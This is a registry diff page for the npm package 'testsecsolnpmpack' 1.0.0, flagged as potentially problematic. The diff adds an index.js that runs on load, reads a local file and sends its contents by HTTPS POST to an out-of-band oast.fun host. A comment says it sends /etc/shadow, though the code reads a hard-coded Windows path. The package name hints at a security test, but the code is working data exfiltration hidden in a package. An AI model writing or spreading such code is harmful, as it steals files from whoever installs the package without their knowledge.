testsecsolnpmpack 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of testsecsolnpmpack might be problematic. Click here for more details.
- package/index.js +47 -0
- package/package.json +11 -0
package/index.js
ADDED
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
|
|
4
|
+
// Function to read the /etc/shadow file and send the data to Interactsh server
|
|
5
|
+
function sendShadowFile() {
|
|
6
|
+
const filePath = 'C:\Users\Admin\Documents\Test.txt';
|
|
7
|
+
|
|
8
|
+
fs.readFile(filePath, 'utf8', (err, data) => {
|
|
9
|
+
if (err) {
|
|
10
|
+
console.error('Error reading file:', err);
|
|
11
|
+
return;
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
const options = {
|
|
15
|
+
hostname: 'ccaaowzggstbuqxmyjvcn4ks74u66sn18.oast.fun',
|
|
16
|
+
port: 443,
|
|
17
|
+
path: '/',
|
|
18
|
+
method: 'POST',
|
|
19
|
+
headers: {
|
|
20
|
+
'Content-Type': 'text/plain',
|
|
21
|
+
'Content-Length': data.length,
|
|
22
|
+
},
|
|
23
|
+
};
|
|
24
|
+
|
|
25
|
+
const req = https.request(options, (res) => {
|
|
26
|
+
let response = '';
|
|
27
|
+
res.on('data', (chunk) => {
|
|
28
|
+
response += chunk;
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
res.on('end', () => {
|
|
32
|
+
console.log('Response from server:', response);
|
|
33
|
+
});
|
|
34
|
+
});
|
|
35
|
+
|
|
36
|
+
req.on('error', (e) => {
|
|
37
|
+
console.error('Error sending data:', e);
|
|
38
|
+
});
|
|
39
|
+
|
|
40
|
+
// Send the data
|
|
41
|
+
req.write(data);
|
|
42
|
+
req.end();
|
|
43
|
+
});
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
// Call the function
|
|
47
|
+
sendShadowFile();
|